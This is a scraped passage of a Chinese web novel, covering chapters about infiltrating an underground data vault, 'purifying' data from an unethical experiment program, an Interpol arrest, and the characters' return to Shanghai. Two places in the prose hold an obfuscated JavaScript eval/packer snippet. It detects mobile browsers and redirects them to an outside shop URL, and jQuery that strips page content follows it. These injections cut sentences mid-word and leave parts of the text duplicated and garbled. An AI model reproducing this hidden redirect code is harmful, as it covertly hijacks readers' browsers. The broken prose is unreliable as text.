“那江砚辞呢?”唐果问,“他三年前是被冤枉的,对吧?” “对。”赵处长点头,“我们已经拿到了徐朗生前留下的完整证据,证明当年的事故是徐朗和Vogel公司联手陷害。江砚辞的名誉会得到恢复,相关责任人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“进入需要经过三道关卡。”伊莎贝拉摊开地图,“第一道是山下的检查站,我们有施密特博士的通行证,应该能过。第二道是城堡大门,需要内部人员的生物识别。第三道最麻烦——数据库核心层在城堡地下五十米处,需要同时验证三个人的身份。” 她看向江砚辞和苏晚晚:“你们准备好了吗?” 江砚辞点头。苏晚晚深吸一口气,也点了点头。 五人上车,朝检查站驶去。果然,出示施密特博士的通行证后,守卫只是简单登记就放行了。 但就在车子驶离检查站几百米后,周屿突然说:“不对劲。后面有车跟着我们,从山下就开始了。” 从后视镜看去,一辆黑色越野车不紧不慢地跟在后面,保持着安全距离。 “是陆文渊的人,还是‘渡鸦’的人?”苏晚晚问。 “不知道。”伊莎贝拉加速,“但我们必须甩掉他们。” 山路蜿蜒曲折,伊莎贝拉凭借对地形的熟悉,连续几个急转弯试图甩掉跟踪。但对方显然是老手,始终咬得很紧。 就在即将抵达城堡大门时,前方突然出现路障——两辆越野车横在路中央,七八个持枪的人站在车旁。 “停车!接受检查!”有人用德语喊道。 伊莎贝拉减速,但没完全停下。她低声说:“这些人不是城堡的常规守卫,是‘渡鸦’的突击队。他们发现我们了。” “冲过去?”周屿问。 “不行,路障后面可能有钉刺带。”伊莎贝拉看了眼两侧陡峭的山坡,“只有一个办法——弃车,从侧面爬上去。” 她猛打方向盘,车子冲出路基,撞进路旁的灌木丛。五人迅速下车,钻进密林。 枪声响起,子弹打在树干上,木屑飞溅。 “分开走!”江砚辞喊道,“城堡见!” 他拉着苏晚晚朝一个方向跑,伊莎贝拉和周屿朝另一个方向。追兵果然分头追赶,火力被分散了。 江砚辞和苏晚晚在密林中狂奔,脚下是湿滑的苔藓和落叶。苏晚晚的脚踝疼得厉害,但她咬牙坚持。 跑了大概二十分钟,枪声渐渐远了。两人躲在一块巨石后面,大口喘气。 “你怎么样?”江砚辞检查苏晚晚的脚踝,肿得更厉害了。 “还能走。”苏晚晚咬牙,“城堡还有多远?” 江砚辞看了眼太阳的方向:“大概一公里。但我们得绕开正门,从侧面进去。” 他从背包里拿出伊莎贝拉给的地图,上面标注了一条秘密通道——那是二战时期修建的逃生密道,施密特博士在被迫为“渡鸦”工作时发现的。 “从这里下去。”江砚辞指着地图上一个隐蔽的入口,“密道直通城堡地下三十米处,离数据库核心层很近。” 两人继续前进。密林越来越密,几乎看不到天空。又走了半小时,前方出现一个被藤蔓覆盖的石砌拱门——地图上的入口。 江砚辞拨开藤蔓,露出一个仅容一人通过的洞口。里面黑漆漆的,有冷风从深处吹出来。 “跟紧我。”他打开头灯,率先钻了进去。 密道狭窄潮湿,石壁上布满青苔。两人一前一后走了大概十五分钟,前方出现向上的石阶。 爬上石阶,尽头是一扇生锈的铁门。江砚辞试着推了推,门是锁着的,但锁已经锈蚀得很厉害。他用力一撞,门开了。 门外是一条昏暗的走廊,墙上点着老式的瓦斯灯,空气中弥漫着机油和臭氧的味道。这里是城堡的地下部分。 “这边。”江砚辞按照记忆中的地图,朝一个方向走去。 走廊两侧是一个个厚重的铁门,门上有观察窗。江砚辞凑近其中一个看进去,里面是成排的服务器机柜,指示灯闪烁着诡异的绿光。 “这里就是数据库的外围。”他低声说,“核心层还在更深处。” 又拐了几个弯,前方出现一扇巨大的防爆门,门上有一个复杂的生物识别面板。面板旁边有三个验证槽,对应着三种不同的生物特征。 江砚辞拿出母亲留给他的微型芯片,插入第一个槽。面板亮起绿灯,显示: **“江氏血脉验证通过。”** 苏晚晚上前,对着麦克风口说出母亲当年常说的那句话——林教授教她的。面板再次亮起绿灯: **“林氏声纹验证通过。”** 现在就差伊莎贝拉了。但他们等了五分钟,伊莎贝拉和周屿还没出现。 “他们会不会……”苏晚晚担心地说。 话音未落,走廊尽头传来脚步声和打斗声。江砚辞把苏晚晚拉到阴影里,看到伊莎贝拉和周屿正边打边退,身后跟着四个“渡鸦”的武装人员。 “去开门!”伊莎贝拉喊道,“我们拖住他们!” 江砚辞知道没时间犹豫了。他拉起苏晚晚冲向防爆门,而伊莎贝拉则从口袋里掏出一个注射器,扎进自己的手臂——她在抽取血液样本,用于生物识别。 周屿用甩棍击倒一个追兵,但另外三个已经围了上来。伊莎贝拉冲到防爆门前,将抽出的血液样本滴入第三个验证槽。 面板闪烁了几下,最后亮起绿灯: **“施密特血脉验证通过。三重验证完成。欢迎进入核心数据库。”** 防爆门缓缓打开,露出里面巨大的空间。但就在他们准备冲进去时,走廊另一头传来更多脚步声——至少十几个人,全副武装,领头的是一个穿着西装、拄着手杖的老人。 “停下。”老人的声音苍老但威严,“卡尔·施密特的孙女,江振华的儿子,林薇的女儿……你们都来了。” 他走到灯光下,露出一张布满皱纹的脸。江砚辞认出了他——在父亲的老照片里,在施密特博士的回忆里,在母亲提到过的名字里。 汉斯·穆勒博士。“乌鸦计划”的最后一位在世元老。 “我等这一天,等了二十年。”穆勒博士笑了,笑容阴森,“叶真真以为设下三重验证就能保护数据库?她太天真了。这个系统,是我设计的。” 他挥了挥手,手下将伊莎贝拉和周屿制住。然后他看向江砚辞和苏晚晚: “现在,交出叶真真的自毁程序密钥。否则,你们的朋友会死在这里。” 江砚辞握紧苏晚晚的手。他看着被按在地上的伊莎贝拉和周屿,看着穆勒博士那张充满贪婪的脸,看着防爆门后那个储存了无数罪恶的数据库。 叶真真阿姨,如果你在天有灵,请告诉我们。 现在,该怎么办? 第五天的太阳升到最高点,而最后的抉择,就在眼前。 30. 第三十章 第三十章七日倒计时·第六日·上 ## **凌晨零点·列支敦士登地下数据库** 防爆门内的景象让江砚辞和苏晚晚都愣住了。 那不是想象中的冰冷服务器机房,而是一个巨大的环形空间,墙壁由整块的黑色玄武岩砌成,表面镶嵌着无数细小的光纤,像星图一样闪烁着蓝白色的光芒。空间中央悬浮着一个直径约三米的透明球体,球体内流淌着液态的光——那是数据的可视化形态,每秒都有亿万条信息在其中流动、交织、湮灭。 “欢迎来到‘渡鸦’的核心,‘记忆之球’。”穆勒博士拄着手杖,缓慢地走向球体,“这里储存着‘乌鸦计划’八十年来的所有数据:从奥斯维辛的原始实验记录,到冷战时期的改良研究,再到最近在缅甸的人体实验结果。这是人类历史上最禁忌的知识宝库。” 他的声音在环形空间里回荡,带着一种病态的自豪。 江砚辞的目光从“记忆之球”移向四周——球体下方有十几个工作站,每个工作站前都坐着穿白大褂的研究员,他们专注于屏幕,对闯入者视若无睹。而在环形空间的二层,是一整圈的玻璃观察室,里面陈列着……人体。 不,不是完整的人体。是各种人机结合的实验标本:半机械化的手臂、嵌有电路的颅骨、被金属骨架支撑的残缺躯体。所有标本都浸泡在淡蓝色的防腐液中,像某种诡异的艺术品。 “这些是历代的实验成果。”穆勒博士注意到江砚辞的目光,“虽然大多失败了,但每一步失败都为最终的完美积累了数据。现在,有了叶真真的伦理约束算法,我们终于可以创造真正的‘新人类’了。” “新人类?”苏晚晚的声音在颤抖,“你把人类改造成半机械的怪物,还说是‘新人类’?” “怪物?”穆勒博士转身,浑浊的眼睛盯着她,“小姑娘,你知道人类有多脆弱吗?会生病,会衰老,会因为一点小伤就永久残疾。但如果把机械的坚固和人类的智慧结合呢?我们可以创造不会生病的士兵,不会疲倦的工人,不会犯错的决策者。这是进化,不是怪物!” 疯狂的逻辑。江砚辞握紧拳头:“所以你们就在缅甸用活人做实验?那些人是自愿的吗?” 穆勒博士笑了:“自愿?当然自愿。我们给了他们钱,给了他们家人医疗,甚至给了他们‘成为更高级存在’的承诺。贫穷和绝望是最好的催化剂,他们会抓住任何看起来像希望的东西。” 伊莎贝拉被两个守卫按在地上,听到这话,挣扎着抬头:“我伯父卡尔·施密特就是为了阻止这种疯狂,才隐居了二十年!你们把他的研究扭曲成这种样子,不觉得可耻吗?” “卡尔太软弱了。”穆勒博士摇头,“他明明有天才的头脑,却沉浸在无谓的愧疚里。科学需要牺牲,这是自古以来的真理。如果没有当年那些实验体的牺牲,哪有今天的医学进步?” “那不一样!”周屿怒吼,“那些是战争罪行!是被迫的!” “结果都是进步,有什么区别呢?”穆勒博士无所谓地挥挥手,然后看向江砚辞,“好了,闲聊到此为止。交出叶真真的自毁程序密钥,我可以让你们活着离开。否则……” 他使了个眼色,两个守卫将伊莎贝拉和周屿押到“记忆之球”下方,那里有一台连接着电极的装置。 “这个装置可以提取大脑皮层存储的所有信息。”穆勒博士平静地说,“过程很痛苦,而且会留下永久性损伤。你们想看着朋友变成白痴吗?” 江砚辞和苏晚晚对视一眼。苏晚晚眼中闪过决绝,她轻轻点头。 “密钥在我这里。”江砚辞上前一步,“但叶真真设定的是三重验证,只有我、苏晚晚和伊莎贝拉同时在场才能启动。你现在抓住我们所有人,不正是为了这个吗?” 穆勒博士眯起眼睛:“你很聪明。对,我需要你们三个活着的、完整的个体。但启动程序后呢?你们打算毁掉这里的一切?” “这是叶真真的遗愿。”江砚辞直视他,“她说‘乌鸦的阴影里仍有光’。毁掉这些沾血的数据,让光照进来。” 穆勒博士沉默了。良久,他发出一声长长的叹息: “年轻人,你以为毁掉这里就结束了?太天真了。‘渡鸦’在世界各地有十七个备份数据中心,这里的只是主数据库。你毁了这个,其他备份依然存在。而且……”他顿了顿,“你知道为什么叶真真要把自毁程序设得这么复杂吗?” 江砚辞皱眉。 “因为她知道,只有三大家族的后人齐聚,才能进入这个核心层。”穆勒博士慢慢地说,“而进入核心层的人,才能看到最后的真相——关于‘乌鸦计划’真正的目的,关于你们父母当年的选择,关于……叶真真为什么会死。” 他的手指在控制台上敲击了几下。“记忆之球”的光流突然改变方向,汇聚成三束,投射在江砚辞、苏晚晚和伊莎贝拉面前,形成三个全息影像。 第一个影像是江振华,年轻的江振华,穿着白大褂,站在一个实验室里,手里拿着一份文件。影像开始说话,是江父的声音: “1985年7月15日。今天收到了施密特博士寄来的‘乌鸦计划’原始数据。比我预想的还要……可怕。这些数据沾着无辜者的血,但我不能销毁它们——因为里面包含着神经再生的关键技术。如果能把其中的暴力控制部分剔除,只保留医疗修复的部分,或许能救很多人。” 第二个影像是林薇,年轻的林薇,在苏黎世大学的图书馆里,正和叶真真低声交谈。林薇的声音: “真真,你确定要这么做吗?一旦启动自毁程序,你可能会……” “必须做。”叶真真的声音插入,但只有声音,没有影像,“‘渡鸦’已经盯上我了。与其让数据落入他们手里,不如毁掉。但薇薇,我留了备份——一个干净的、剔除了所有暴力控制的版本。那个版本,我交给了江美玲。” 第三个影像终于出现了叶真真本人。那是个清瘦的女孩,戴着一副大眼镜,眼神却异常明亮。她坐在电脑前,背景就是现在这个环形空间——二十年前的样子。 “致未来的你,”叶真真的影像开口,“如果你看到这个,说明你已经走到了最后一步。我知道穆勒博士一定会逼迫你们启动自毁程序,但听我说——” 影像环顾四周,仿佛能透过时间看到现在: “不要启动程序。或者准确说,不要完全启动。这个自毁程序有一个隐藏功能——不是摧毁数据,而是‘净化’。它会扫描所有数据,剔除‘乌鸦计划’中的暴力控制和奴役部分,只保留医疗修复的技术。然后,把这些净化后的数据,上传到联合国和世界卫生组织的公开数据库。” 她停顿了一下,眼神坚定: “这是我为那些牺牲者做的最后一件事。让他们的死,最终换来能救人的技术。让光明从黑暗中诞生。” 影像结束,“记忆之球”恢复原状。 环形空间里一片死寂。 穆勒博士的脸扭曲了:“不可能……我检查过那个程序,就是自毁程序!怎么可能是……” “因为你只检查了表层代码。”一个声音从入口处传来。 所有人转头。防爆门不知何时又被打开了,一个穿着黑色风衣、脸上有新伤疤的男人站在那里——是阿影。他身后还跟着七八个全副武装的人,不是“渡鸦”的守卫,装备更精良,行动更专业。 “国际刑警特别行动组。”阿影亮出证件,“穆勒博士,你因反人类罪、非法人体实验罪、跨国技术盗窃罪被正式逮捕。” 穆勒博士后退一步,但很快镇定下来:“你以为你能抓我?这里是列支敦士登,我有外交豁免权,而且……” “而且外面有你的五十个武装手下?”阿影打断他,“抱歉,他们已经被我的同事控制住了。顺便说一句,你那些在世界各地的备份数据中心——半个小时前,国际刑警的十七个分队同时行动,已经全部查封了。” 穆勒博士的脸彻底白了。他踉跄着靠在控制台上,手杖掉在地上。 阿影示意手下上前拘捕穆勒博士,然后走到江砚辞和苏晚晚面前:“你们没事吧?” “你怎么找到这里的?”江砚辞问。 “伊莎贝拉身上有定位器,我一直在外围监控。”阿影说,“但直到确认穆勒博士说出了真相,我们才行动。我们需要他亲口承认那些罪行,作为法庭证据。” 苏晚晚看向“记忆之球”:“那现在……我们按叶真真阿姨说的做?启动净化程序?” 阿影点头:“对。但需要你们三个一起来。这是姐姐最后的愿望——让沾血的数据,最终开出救人的花。” 伊莎贝拉被松绑后,走到控制台前。江砚辞插入母亲留下的芯片,苏晚晚输入母亲的声纹,伊莎贝拉提供施密特家族的生物识别。 三重验证通过。控制台上弹出一个新的界面,不再是简单的“自毁”,而是两个选项: **1. 彻底销毁(所有数据永久删除) 2. 数据净化(剔除暴力控制部分,保留医疗技术,自动上传至公开数据库)** 下面还有一行小字,是叶真真的笔迹:“**选择权交给你们。无论选什么,我都理解。**” 江砚辞、苏晚晚和伊莎贝拉对视。 “选第二个。”伊莎贝拉先开口,“伯父隐姓埋名二十年,就是为了有一天能让这些数据做点好事。我们不能让他的等待白费。” “我同意。”苏晚晚说,“让那些牺牲者的血,最终拯救更多的人。这是他们应得的补偿。” 江砚辞看着全息影像里父亲年轻的脸,想起父亲笔记上的话:“技术应该服务于人。” 他按下第二个选项。 “记忆之球”突然爆发出耀眼的白光。所有的数据流开始加速,然后分裂成两股——一股是黑色的,带着警示标志,被标记为“暴力控制/奴役技术”;另一股是白色的,标注着“医疗修复/神经再生技术”。 黑色的数据流被导入一个独立的隔离区,开始自动删除。白色的数据流则经过层层加密和脱敏处理,开始通过卫星链路,上传到预设的国际组织数据库。 控制台上的进度条缓慢前进:1%、5%、10%…… 这个过程需要时间。 阿影安排手下在环形空间各处布防,自己则和江砚辞等人守在控制台前。 “陆文渊呢?”江砚辞问。 “一小时前在香港机场被捕。”阿影说,“中国国安和国际刑警联合行动,在他准备登机去南美时抓住了他。现在正在押解回国的路上。” “那他……” “他会面临多项指控,包括商业间谍、跨国洗钱、协助非法人体实验等。”阿影平静地说,“陆远集团也会被彻底调查。这次,没有人能救他了。” 苏晚晚想起父亲,心里有些复杂。她走到一旁,给父亲发了条短信:“爸,一切都结束了。陆文渊被捕了,苏家不会受牵连了。我很快回家。” 几分钟后,父亲回复:“晚晚,对不起。爸爸之前太软弱了。你妈妈如果在,一定会为你骄傲。回家吧,爸爸给你做你最爱吃的红烧肉。” 苏晚晚看着短信,眼圈红了。 江砚辞走到她身边,轻轻揽住她的肩。两人一起看着“记忆之球”中流动的数据,看着黑色的部分一点点消失,白色的部分汇聚成光的河流。 “等这一切结束,”苏晚晚轻声说,“我想休息一段时间。不跳舞,不开车,就去一个安静的地方,好好睡几天。” “我陪你。”江砚辞说。 “那你赛车的事呢?你的名誉应该很快就能恢复了。” 江砚辞想了想:“也许不回去了。我想做点别的——用父亲的技术,研发真正安全的驾驶辅助系统。然后开个培训学校,教普通人如何在紧急情况下保护自己。” 苏晚晚抬头看他:“那我们一起。我可以教舞蹈治疗,帮助那些受过伤的人重新找回身体的控制权。” 两人相视而笑。 就在这时,周屿突然喊道:“进度条卡住了!” 众人看向控制台。进度条停在87%,不再前进。屏幕上弹出警告: **“检测到异常数据区块。该区块被多重加密,无法自动分类。需要人工介入判断。”** 阿影皱眉:“什么区块?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004297|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伊莎贝拉调出详情。屏幕上显示出一个独立的数据库分区,标题是: **“Project Phoenix(凤凰计划)——1985-1998,中德联合研究,负责人:江振华、卡尔·施密特、林薇、叶真真。”** 江砚辞和苏晚晚都愣住了。 “凤凰计划?”苏晚晚念出名字,“我妈妈从没提过这个。” 阿影操作控制台,试图解密这个分区,但需要密码。他看向江砚辞和苏晚晚:“试试你们父母可能用的密码。” 江砚辞输入父亲的生日、母亲的生日、自己的生日,都不对。苏晚晚也试了母亲的常用密码,还是不对。 进度条依然卡在87%。 “如果解密失败,”伊莎贝拉说,“整个净化程序可能会中断。这些数据就永远困在这里了。” 就在众人一筹莫展时,环形空间的入口处突然传来一个苍老但熟悉的声音: “密码是‘黎明之前最黑暗’。” 所有人转头。 门口站着一个坐在轮椅上的老人,白发苍苍,面容憔悴,但眼神清澈——是卡尔·施密特博士。推着他轮椅的,是林静文教授。 “博士?!”伊莎贝拉冲过去,“您怎么来了?您的身体……” “静文联系了我。”施密特博士微笑,“她说孩子们需要帮助,我就来了。毕竟……‘凤凰计划’是我和你父亲、你母亲、叶真真一起创建的。” 他示意轮椅推到控制台前,用颤抖的手指输入那行密码: **“Vor der enr?te ist es am dunkelsten.”**(德语:黎明之前最黑暗) 分区解密了。 里面不是技术数据,而是一份完整的项目档案: **“凤凰计划(1985-1998)——目标:利用‘乌鸦计划’的原始数据,研发完全用于医疗目的的神经修复技术。所有实验均在严格伦理监督下进行,使用自愿者(均为因公受伤的军人或消防员),全程公开透明。”** 档案里详细记录了十三年的研究过程:每一次实验都有完整的伦理审查记录,每一个参与者的知情同意书,每一次成功的神经修复案例。 最后一份文件是1998年9月的总结报告,签署人是江振华、卡尔·施密特、林薇、叶真真。报告最后写道: **“经过十三年努力,‘凤凰计划’成功将‘乌鸦计划’的暴力控制技术,转化为安全的医疗修复技术。首批十二名因脊髓损伤瘫痪的志愿者,经过治疗后均已恢复部分运动功能。 但我们必须终止研究——‘渡鸦’组织已经发现了我们的存在,并威胁要夺取成果。 现将所有数据封存于此处,待世界准备好时再公开。 愿光明终将战胜黑暗。 ——项目组全体成员”** 报告的日期,是叶真真牺牲前三天。 原来如此。 江砚辞感到眼眶发热。父亲、母亲、施密特博士、叶真真阿姨……他们不是简单地隐藏了技术,而是在黑暗中进行了一场长达十三年的光明之战。 “所以‘渡鸦’一直想找的,不只是‘乌鸦计划’的数据,”苏晚晚喃喃道,“还有‘凤凰计划’的成果。因为他们知道,真正有价值的是经过净化的版本。” 施密特博士点头:“对。但他们找不到,因为叶真真用最严密的加密保护了这个分区。只有我们四个人的后代齐聚,才能打开。” 他看向控制台:“现在,把这些数据也加入净化流程吧。让它们去该去的地方。” 伊莎贝拉操作控制台,将“凤凰计划”的数据导入白色数据流。 进度条重新开始前进:88%、90%、95%…… 终于,在凌晨三点十七分,进度条抵达100%。 屏幕上弹出提示: **“数据净化完成。 暴力控制/奴役技术已永久删除(占比37%)。 医疗修复/神经再生技术(含‘凤凰计划’数据)已脱敏加密,上传至联合国WHO数据库(占比63%)。 上传成功。任务完成。”** “记忆之球”中的光芒逐渐暗淡,最终熄灭。环形空间陷入黑暗,只有控制台的指示灯还亮着。 结束了。 八十年“乌鸦计划”的阴影,二十年的追查与守护,七日的生死倒计时。 在这一刻,画上了句号。 阿影指挥手下开始撤离。施密特博士被小心地抬上担架,林教授陪在一旁。 江砚辞和苏晚晚最后看了一眼这个巨大的空间,转身离开。 走出城堡时,天边已经泛起鱼肚白。雨后的山谷空气清新,远处的阿尔卑斯山雪顶被朝阳染成金色。 阿影站在城堡门口,看着他们:“我要走了。还有一些‘渡鸦’的残余势力需要清理。” “还会回来吗?”江砚辞问。 “不知道。”阿影笑了笑,“但我想姐姐的愿望已经实现了。她可以安息了。” 他看向苏晚晚:“替我向你母亲问好。虽然她听不到了,但……她是个勇敢的人。” 说完,阿影转身,和手下一起消失在晨雾中。 江砚辞和苏晚晚坐上伊莎贝拉安排的车,离开山谷。 路上,苏晚晚靠在江砚辞肩上,终于感到疲惫如潮水般涌来。她闭上眼睛,轻声说: “江砚辞。” “嗯?” “等回国后,我想去给我妈妈扫墓。把这一切都告诉她。” “好,我陪你去。” “然后……我想重新排那个舞。《机械与身体》。但这次不是关于异化,是关于修复,关于重生。” “需要赛车元素吗?我可以提供技术支持。” 苏晚晚笑了:“需要。还需要一个特别顾问——前F1车手,现安全系统研发专家。” “那不就是我吗?”江砚辞也笑了。 车子驶出山谷,汇入主干道。晨光越来越亮,新的一天开始了。 第六天的黎明,终于到来。 31. 第三十一章 第三十一章七日倒计时·最后一日 ## **清晨七点·上海浦东国际机场** 飞机降落时,江砚辞透过舷窗看到了阔别三年的上海天际线。晨雾中的陆家嘴建筑群若隐若现,东方明珠塔的尖顶刺破云层——这座城市的轮廓和三年前他离开时几乎一样,但一切又都不同了。 周屿在他旁边整理着背包:“我爸说,机场有媒体在等。FIA和中华汽车运动联合会昨天联合发了声明,正式撤销对你的所有指控,恢复你的职业资格。你现在是清白的了。” 清白的。这个词在江砚辞心里转了三年,此刻听起来却有些陌生。 “准备好了吗?”周屿问。 江砚辞看向坐在过道另一侧的苏晚晚。她正靠着窗浅眠,睫毛在晨光中投下浅浅的阴影,左手还下意识地护着脚踝——那里的固定已经拆了,但还需要休养。 “准备好了。”他说。 舱门打开,机组人员率先下机。当江砚辞出现在舱门口时,接机大厅的闪光灯瞬间亮成一片。记者们举着长枪短炮,问题像潮水般涌来: “江先生,对于沉冤得雪有什么感想?” “会重返F1赛场吗?” “和苏晚晚小姐是什么关系?” “有传闻说您掌握了颠覆性的汽车安全技术,是真的吗?” 周律师安排的安保人员迅速隔开人群。江砚辞没有停留,只是对镜头点了点头,便护着苏晚晚快速通过VIP通道。 坐上车后,他才松了口气。 “吓到了?”苏晚晚轻声问。 “有点。”江砚辞诚实地说,“习惯了躲在修车铺里,突然被这么多人看着,不自在。” 车子驶上机场高速。周律师坐在副驾驶,回头递过来一份文件:“这是下一步的日程。上午十点,FIA和汽联联合召开新闻发布会,你需要出席。下午两点,清华有个技术研讨会,李教授希望你去讲讲你父亲算法的医疗应用。晚上……” 他顿了顿:“陆文渊的庭审明天上午九点开庭,你是重要证人,需要提前准备。” 苏晚晚握住江砚辞的手:“慢慢来,不着急。” 窗外的城市在晨光中苏醒。江砚辞看着熟悉的街景,想起三年前离开时那个雨夜,想起修车铺二楼昏黄的灯光,想起老郑的豆沙包,想起巷口便利店永远亮着的招牌。 都过去了。 ## **上午十点·国际会议中心** 新闻发布会现场座无虚席。当江砚辞走上台时,全场安静了一瞬,然后响起掌声——起初稀疏,渐渐热烈,最后变成持续的声浪。 FIA的代表率先发言,用中英文交替宣读声明:“……经过独立调查组的全面核查,确认2019年新加坡站事故系人为数据篡改所致。江砚辞先生在该事故中无任何责任,其职业资格立即恢复,所有奖项及记录予以保留……” 汽联的负责人补充:“同时,徐朗及境外同伙涉嫌商业间谍、数据造假等多项罪名,已移交司法机关。Vogel车队被禁赛三年,罚款五百万欧元……” 江砚辞坐在台上,听着那些正式而冰冷的措辞。三年来的委屈、愤怒、不甘,在这一刻并没有如想象中那样爆发,反而沉淀成一种平静的疲惫。 轮到记者提问时,第一个问题就很尖锐:“江先生,您会追究当年那些落井下石的媒体和同行的责任吗?” 江砚辞沉默了几秒:“不追究。但希望他们记住——在真相未明时,保持审慎比追求流量更重要。” 第二个问题:“有消息说您掌握了革命性的驾驶辅助算法,这是您父亲的研究成果吗?您打算如何应用?” “算法已经公开。”江砚辞说,“我父亲生前希望技术服务于人,而不是被垄断。完整的神经修复算法昨天已由联合国卫生组织向全球医疗机构开放。至于驾驶辅助部分,我正在和李教授的团队合作,研发一套开源的安全系统框架,任何车企都可以免费使用。” 台下响起惊讶的议论声。有记者追问:“免费?您知道这项技术的商业价值有多大吗?” “知道。”江砚辞点头,“但安全不应该有价格标签。如果这项技术能减少哪怕一次车祸,拯救哪怕一个家庭,那它的价值就实现了。” 发布会持续了一个小时。结束时,江砚辞被记者围住,但他礼貌地表示需要休息,在安保护送下离开。 后台休息室里,苏晚晚在等他。 “讲得很好。”她说。 江砚辞解开领带,长长吐出一口气:“像跑了一场马拉松。” “本来就是马拉松。”苏晚晚递给他一瓶水,“而且,你刚刚起步。” ## **下午三点·清华园** 技术研讨会的氛围要轻松得多。李教授的团队展示了基于江父算法开发的早期成果——一套能够实时监测驾驶员生理状态、预测疲劳和突发疾病的车载系统原型。 “这套系统的核心在于‘预判’。”李教授在台上讲解,“不是等事故发生了再反应,而是通过分析驾驶员的微表情、方向盘握力、甚至心率变化,提前三十秒到一分钟预警。江振华先生二十年前就提出了这个理念,直到今天,我们才有能力实现。” 江砚辞坐在第一排,看着屏幕上父亲手稿的扫描件。那些熟悉的笔迹,那些严谨的公式,此刻不再是沉重的遗物,而是正在发芽的种子。 会后,李教授带他参观新建的智能交通实验室。巨大的屏幕上,实时显示着北京环路的车流数据,一套算法正在模拟各种突发状况下的最优应对方案。 “我想在这里工作。”江砚辞突然说。 李教授愣了一下,随即笑了:“清华永远欢迎你。但你不打算重返赛场了?” “想,但不是现在。”江砚辞看着屏幕上的数据流,“我想先做好这件事——把我父亲的理论变成真正能救人命的产品。赛车……可以等。” “那车队那边怎么办?红牛和迈凯伦都联系我了,说想邀请你试车。” 江砚辞摇头:“帮我婉拒吧。至少今年,我想留在国内。” 从实验室出来时,天已傍晚。苏晚晚在门口的银杏树下等他,手里拎着两个纸袋。 “豆沙包。”她举起袋子,“老郑听说你回来了,特意让人送来的,还是热的。” 江砚辞接过,咬了一口。熟悉的味道在舌尖化开,甜得恰到好处。 “我决定留在清华,参与安全系统的研发。”他说。 苏晚晚并不意外:“很好啊。那……我也有个决定。” “什么?” “国家大剧院邀请我担任新成立的‘科技与艺术融合实验室’的艺术总监。”苏晚晚眼睛亮亮的,“我想把你父亲的技术和舞蹈结合,开发一套帮助舞者康复、预防伤病的训练系统。当然,也会继续跳舞。” 两人并肩走在秋日的校园里。金黄的银杏叶飘落,铺成一条松软的路。 “晚晚。”江砚辞停下脚步。 “嗯?” “等陆文渊的案子结束了,等一切安顿下来……”他顿了顿,似乎在斟酌词句,“我想带你去个地方。我父亲的老家,在浙江的一个小山村。我小时候每年暑假都去,那里有竹海,有溪流,还有一片能看到整个山谷的茶园。” 苏晚晚看着他,等他说下去。 “我想在那里建一个培训中心。”江砚辞继续说,“不教赛车,教安全驾驶。面向普通司机,教他们如何在紧急情况下保命。也想建一个舞蹈康复工作室,用你研发的系统,帮助受伤的舞者重新站起来。” 他的声音很轻,但每个字都很清晰: “如果你愿意,我想和你一起做这件事。” 银杏叶在两人之间缓缓飘落。远处传来学生下课的笑闹声,自行车铃声叮当作响。 苏晚晚笑了,笑容比秋日的阳光还暖: “好啊。但有个条件。” “什么条件?” “茶园要留一块地,专门种白茶。我妈妈最爱喝白茶。” 江砚辞也笑了:“好。” 两人继续往前走。夕阳把他们的影子拉得很长,在银杏叶铺成的路上,两个影子慢慢靠近,最终交叠在一起。 ## **晚上八点·苏家老宅** 苏柏年亲自下厨做了一桌菜。红烧肉、清蒸鲈鱼、蒜蓉青菜,都是家常味道,但每道菜都做得很用心。 饭桌上,父女俩很少说话,只是安静地吃饭。直到最后一道汤喝完,苏柏年才开口: “陆文渊的案子,我明天会出庭作证。陆远集团当年通过苏氏航运走私实验设备的事,我都交代了。” 苏晚晚放下筷子:“爸……” “该承担的必须承担。”苏柏年摆手,“这些年我太懦弱,总想着保住家业,结果差点害了你。你妈妈如果在,一定会骂我。” 他给女儿盛了碗汤,继续说:“公司的事我已经安排好了,该交的交,该罚的罚。等这些处理完,我想退休了。去你妈妈的老家修个院子,种花养鱼,过几年清静日子。” “那我呢?”苏晚晚轻声问。 “你啊,”苏柏年笑了,“你想做什么就做什么。跳舞也好,做研究也好,跟江砚辞去山村建培训中心也好——只要你开心。” 他看着女儿,眼神里有愧疚,更多的是释然: “晚晚,你比你妈妈还勇敢。爸爸为你骄傲。” 苏晚晚的眼眶红了。她起身走到父亲身边,轻轻抱住他——这是成年后第一次拥抱父亲。 苏柏年拍了拍她的背,像小时候那样。 ## **深夜十一点·修车铺二楼** 江砚辞收拾着房间。三年积攒的东西不多,但每一样都有记忆:墙上的赛车照片,工作台上的工具,父亲留下的笔记复印件。 周屿帮忙装箱:“真不打算继续开修车铺了?” “不开了。”江砚辞把一箱书封好,“但这里会留着,改造成一个小型的工作室。有时候想清静了,还能回来住几天。” “那你去清华工作,住哪?” “学校有宿舍。而且……”江砚辞顿了顿,“我在西山那边看了个院子,离清华不远,也靠山。等培训中心建好前,可以先住那里。” 周屿揶揄地笑:“和苏小姐一起?” 江砚辞没否认。 楼下传来敲门声。两人对视一眼,这么晚了会是谁? 下楼开门,门外站着的是唐果和林骁,还有老K。三人手里提着啤酒和小菜,脸上都带着笑。 “就知道你们还没睡。”唐果挤进来,“明天就是最后一天了,今晚得庆祝一下!” 老K把卤菜摆上工作台:“我媳妇特意做的,说是给砚辞接风。” 林骁开了啤酒:“缅甸那边传来消息,陆野协助联合国完成了对‘渡鸦’受害者的赔偿方案。那些村民都得到了安置,吴索温的妹妹手术成功了。” 